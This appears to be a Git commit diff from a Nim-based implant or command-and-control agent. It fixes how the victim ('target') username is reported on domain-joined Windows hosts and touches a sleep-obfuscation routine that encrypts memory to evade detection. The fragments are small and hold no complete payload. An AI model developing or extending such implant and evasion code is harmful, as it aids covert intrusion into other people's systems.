Fixed username display error when target is connected to a domain.
This commit is contained in:
@@ -644,7 +644,7 @@ proc sleepObfuscate*(sleepSettings: SleepSettings) =
|
||||
|
||||
# Generate random encryption key
|
||||
var keyBuffer: string = Bytes.toString(generateBytes(Key16))
|
||||
key.Buffer = keyBuffer.addr
|
||||
key.Buffer = addr keyBuffer
|
||||
key.Length = cast[DWORD](keyBuffer.len())
|
||||
|
||||
# Execute sleep obfuscation technique
|
||||
|
||||
@@ -33,11 +33,12 @@ proc getUsername(): string =
|
||||
if getDomain() != "":
|
||||
# If domain-joined, return username in format DOMAIN\USERNAME
|
||||
GetUserNameExW(NameSamCompatible, &buffer, &dwSize)
|
||||
return $buffer[0 ..< int(dwSize)]
|
||||
else:
|
||||
# If not domain-joined, only return USERNAME
|
||||
discard GetUsernameW(&buffer, &dwSize)
|
||||
return $buffer[0 ..< int(dwSize) - 1]
|
||||
|
||||
return $buffer[0 ..< int(dwSize) - 1]
|
||||
|
||||
# Current process name
|
||||
proc getProcessExe(): string =
|
||||
|
||||
Reference in New Issue
Block a user